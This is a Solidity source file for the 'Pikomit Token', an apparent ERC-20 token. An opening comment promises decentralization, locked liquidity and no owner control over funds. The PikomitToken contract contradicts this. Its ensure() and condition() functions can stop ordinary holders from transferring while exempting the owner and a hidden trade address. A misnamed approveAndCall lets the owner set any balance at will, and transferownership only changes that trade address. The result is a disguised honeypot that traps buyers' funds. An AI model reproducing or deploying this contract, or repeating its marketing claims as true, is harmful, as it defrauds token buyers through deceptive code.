/*
Pikomit Token
website: www.pikomittoken.com   |   twitter: twitter.com/pikomittoken |  telegram: t.me/pikomittoken
Pikomit is a decentralized cryptocurrency on Ethereum Smart Contract.  A decentralized application is 
an application that can operate autonomously, typically through the use of smart contracts, that runs on 
decentralized computing, and blockchain systems. Like traditional applications, D-apps provide some 
function or utility to their users. Pikomit is coming up with D-app that offers decentralized services, where 
no third party is required. Pikomit is a verified smart contract on Ethereum Blockchain that can be 
accessed from anywhere in the world. Pikomit team is specialized in creative passive income sources 
globally. This is a Decentralized Finance project set to have no limitations on earning and no controller to 
access the funds, so we have no control over your money. We have created the smart contract in such a 
way that it functions autonomously using transaction cost as its fuel. It requires no extra inputs and its 
simple function is to calculate and distribute rewards. Cryptocurrency is advancing at lightning speed and 
has applications in many fields, from finance and law to art Cryptocurrency, despite its volatility, has 
become one of the most promising objects of investment for companies and individuals. In our opinion, 
this rapid development of the blockchain world creates a large gap between the products of this technology 
and its applications. 
VISION
Pikmot has consciously engaged in significant public consultation to create a distinctive and cooperative 
community strategy for Pikomit Token's exceptional growth. We aim to add more value to altcoin, therefore 
at Pikomit app, we have PIKOMIT to change your perspective.
MISSION
Our mission is to provide a perfect ecosystem for every community. Pikomit Token has defined "pillars" that 
we believe will be acknowledged and meet social issues. Furthermore, Pikomit will provide you with rapid 
transactions, low gas prices, and a lot of launchpad projects in the near future. The team has implemented 
all their experience in the Pikomit to make our crypto space even more convenient and easy to use for our 
customers. 
GOAL
Our target is to allow local communities to use Pikomit, whatever their network is.The mission of Pikomit 
dApp is to allow people, groups, friends, communities to communicate and organize themself with a strong 
censorship resistant approach. Pikomit with its tax will in our opinion, become the king of altcoins.
ABOUT PIKOMIT APP
Pikomit is the first social Web3 app that unites and empowers tokenized communities

HIGHLIGHT YOUR WEB3 PROFILE
• Connect to the App with your wallets and show off your Web3 identity
• Highlight your NFTs and Tokens across all blockchains
• Customize your profile by changing your avatar, banner, color and your current mood with your NFT assets
WALLET-TO-WALLET MESSAGING
• Pikomit allows you to simply send a message to any wallet owner on the blockchain
• Contact an ENS, a holder of any NFTs / Tokens
• Make wonderful friends who have the same Clubs as you and do lots of stuff together
COMMUNNITY CLUB
• Using blockchain technology, Pikomit allows you to join spaces dedicated to your tokens called Clubs
• Clubs are dedicated spaces where members of an NFTs / Tokens community meet and interact together
• Pikomit provides tools to share and develop your favorite passions inside Clubs
FEATURES
TRANSPARENCY
We are creating a community around openness, communication, and loyalty. You can count on Pikomit to 
deliver a permanently decentralized platform.
INNOVATION
What else can we do to make Pikomit stronger and more useful? That is the question we are constantly 
asking, using our creative minds to keep the ecosystem evolving.
COMMUNITY
We share a single vision to push forward, and make better provisions for the benefits.
LOYALTY
Pikomit is operative when every single works on the same goal. We stick together on the ride to success 
it’s the best way forward.
SUSTAINABILITY
Pikomit is not aiming to simply capture the latest market trends, but to act as a building block in the future 
to come.
TRUST
Pikomit is an ecosystem where you are in control. The liquidity will be locked at launch – all intended to 
give you the peace of mind you need.
TOKENOMICS
Pikomit Token (PIKOMIT) is a digital asset that supports the ecosystem of the pikomit platform and is 
compliant with the ERC-20 token standard for the Ethereum blockchain with mature security performance, 
processing power, and various durability features.
With the total amount of Pikomit tokens issued limited to 800 million, the circulating supply of Pikomit tokens 
will be reduced as more users lock to enjoy the above utilities. The services available on our platform will 
expand in the future, and the utility of Pikomit tokens will expand accordingly. In addition, we plan to attract 
a number of company-operated projects to the pikomit platform, and we expect to use our capital strength to 
lock in large amounts for large-scale marketing activities. As a result, $PIKOMIT will be bought from the 
market, a mechanism that will maintain and improve prices.
*/
pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract PikomitToken {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
       if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}